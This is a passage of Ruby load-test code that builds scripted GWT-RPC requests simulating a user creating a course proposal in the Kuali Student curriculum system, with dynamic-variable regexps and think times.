:joints_var_name => \"joints_num\",\n :joints_var_regexp => 'joints\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)',\n :fee_info_id_dyn_var_name => 'fee_info_id',\n :fee_info_id_dyn_var_regexp => '\\\"fees\\\"\\,\\\"\\([^\\\"]+\\)',\n :fee_info_dyn_var_name => 'fee_info',\n :fee_info_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluFeeInfo\\\"\\,\\\"\\([^\\\"]+\\)',\n :clu_info_dyn_var_name => 'clu_info',\n :clu_info_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"\\([^\\\"]+\\)',\n :lu_dto_clu_format_dyn_var_name => \"lu_dto_clu_format\",\n :lu_dto_clu_format_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"Credit Course\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"formats\\\"\\,\\\"\\([^\\\"]+\\)',\n :lu_dto_clu_activities_dyn_var_name => \"lu_dto_clu_activites\",\n :lu_dto_clu_activities_dyn_var_regexp => 'org.kuali.student.lum.lu.dto.CluInfo\\\"\\,\\\"Credit Course\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"formats\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"0\\\"\\,\\\"activities\\\"\\,\\\"\\([^\\\"]+\\)',\n :outcome_id_var_name => \"outcome_id\",\n :outcome_id_var_regexp => 'outcomeId\\\"\\,\\\"\\([^\\\"]+\\)',\n :lo_category_var_name => \"lo_category\",\n #:lo_category_var_regexp => lo_cat_text + '\\\"\\,\\\"plain\\\"\\,\\\"id\\\"\\,\\\"\\([^\\\"]+\\)',\n :lo_category_var_regexp => lo_cat_text + '\\\"\\,\\\"plain\\\"\\,\\\"\\([^\\\"]+\\)',\n :lo_category_id_var_name => \"lo_category_id\",\n :lo_category_id_var_regexp => 'lo.resultColumn.categoryId\"\\,\\\"\\([^\\\"]+\\)',\n :lo_child_id_dyn_var_name => \"lo_child_id\",\n :lo_child_id_dyn_var_regexp => 'childLo\\\"\\,\\\"\\([^\\\"]+\\)',\n :single_use_lo_dyn_var_name => \"single_use_lo\",\n :single_use_lo_dyn_var_regexp => 'includedSingleUseLo\\\"\\,\\\"\\([^\\\"]+\\)',\n :atp_duration_week_var_name => 'atp_duration_week',\n :atp_duration_week_var_regexp => 'kuali.atp.duration.Week\\\"\\,\\\"Week\\\"\\,\\\"\\([^\\\"]+\\)',\n :version_ind_id_name => 'cp_version_ind_id',\n :version_ind_id_regexp => 'versionIndId\\\"\\,\\\"\\([^\\\"]+\\)',\n :affliated_orgs_id_name => 'cp_affiliated_orgs_id',\n :affliated_orgs_id_regexp => 'affiliatedOrgs\\\"\\,\\\"\\([^\\\"]+\\)',\n :action_request_id_name => 'cp_action_request_id',\n :action_request_id_regexp => 'actionRequestId\\\"\\,\\\"\\([^\\\"]+\\)'\n }\n \n # Version for the doc at each step. We'll increment on each usage\n # So first usage should eval to 0\n version_indicator = -1\n \n opts = defaults.merge(opts)\n \n title << '_%%ts_user_server:get_unique_id%%' if(opts[:append_unique_id])\n \n if(opts[:mode] != \"blank\")\n # select template or copy course...\n end\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n \n puts \"creating proposal as: #{opts[:propose_person]}\"\n \n # Create a course\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:propose_person]}|useCurriculumReview|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n \n \n # Click Start blank proposal\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|15|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||java.util.HashMap/962170901|documentTypeName|kuali.proposal.type.course.create|DtoState|Draft|DtoNextState|DtoWorkflowNode|PreRoute|1|2|3|4|2|5|6|7|8|4|5|9|5|10|5|11|5|12|5|13|5|7|5|14|5|15|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2543249A07E7952228E0E500F14F1B17|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpDurationTypes|atp.resultColumn.atpDurTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.finalExam.status|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|1|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|17|18|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n # DUPE\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CommentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|58FCBA6F511FF769D9DF8CAE72C3C369|org.kuali.student.core.comments.ui.client.service.CommentRpcService|getUserRealName|java.lang.String/2004016611|#{opts[:propose_person]}|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code||subjectCode.search.orgsForSubjectCode|subjectCode.resultColumn.orgLongName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|19|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|0|18|19|0|0|\"\n }\n )\n \n \n #\n # Pg1 - Course Information\n #\n\n @request.add_thinktime(5)\n\n # Course Subject Area\n # AJAX popup while typing in subject area\n for i in 1..opts[:subject_area].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code|#{opts[:subject_area][0..itr]}|subjectCode.search.subjectCodeGeneric|subjectCode.resultColumn.code|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|12|0|0|\"\n } \n ) \n end\n\n @request.add_thinktime(3)\n\n # Instructor\n for i in 1..opts[:instructor].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|12|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|person.queryParam.personGivenName|#{opts[:instructor][0..itr]}|person.search.personQuickViewByGivenName|person.resultColumn.DisplayName|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|12|0|0|\"\n } \n ) \n end\n\n\n @request.add_thinktime(22)\n\n # Save & Continue\n contents1 = \"5|0|41|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|proposal|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|type|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|kuali.proposal.type.course.create|workflowNode|PreRoute|name|#{opts[:course_title]}|_runtimeData|dirty|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|rationale|#{opts[:course_rationale]}|courseTitle|#{opts[:course_rationale]}|transcriptTitle|subjectArea|courseNumberSuffix|instructors|#{opts[:course_short_title]}|#{opts[:subject_area]}|#{opts[:course_suffix]}|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|personId|#{opts[:instructor]}|id-translation|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|descr|plain|#{opts[:course_description]}\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|8|8|9|10|5|6|7|0|5|8|11|12|13|8|14|12|15|8|16|12|17|8|18|10|5|6|7|0|1|8|19|10|5|6|7|0|2|-11|20|21|1|8|22|20|-22|-15|-17|-5|-13|-23|12|23|-1|-3|8|24|12|25|-13|10|5|6|7|0|1|-17|10|5|6|7|0|5|-26|20|-22|8|26|20|-22|8|27|20|-22|8|28|20|-22|8|29|20|-22|-29|-17|-1|-13|-35|12|30|-37|12|31|-39|12|32|-41|10|5|6|7|0|1|33|34|0|10|5|6|7|0|2|8|35|12|36|8|18|10|5|6|7|0|1|8|35|10|5|6|7|0|1|8|37|12|38|-58|-60|-52|-56|-47|-49|-1|8|29|8|39|10|5|6|7|0|2|8|40|12|41|-13|10|5|6|7|0|1|-17|10|5|6|7|0|1|-71|20|-22|-74|-17|-69|-13|-1|-67|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:proposal_dyn_var_name], \"regexp\" => opts[:proposal_dyn_var_regexp]},\n {\"name\" => opts[:clu_ref_dyn_var_name], \"regexp\" => opts[:clu_ref_dyn_var_regexp]},\n {\"name\" => opts[:proposal_doc_id_var_name], \"regexp\" => opts[:proposal_doc_id_var_regexp]},\n {\"name\" => opts[:version_ind_id_name], \"regexp\" => opts[:version_ind_id_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/proposal_dyn_var_name/%%_#{opts[:proposal_dyn_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/clu_ref_dyn_var_name/%%_#{opts[:clu_ref_dyn_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/proposal_doc_id_var_name/%%_#{opts[:proposal_doc_id_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/version_ind_id_name/%%_#{opts[:version_ind_id_name]}%%\", {}, {'subst' => 'true'})\n \n \n \n #\n # Pg 2 - Governance\n # Campus Locations: All\n #\n\n @request.add_thinktime(5)\n\n # COC Org\n # Biology Dept\n\n @request.add_thinktime(3)\n\n # Admin Org\n # Botany\n for i in 1..admin_org.length\n if(i == admin_org.length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:admin_dep_var_name], \"regexp\" => opts[:admin_dep_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/admin_dep_var_name/%%_#{opts[:admin_dep_var_name]}%%\", {}, {'subst' => 'true'})\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 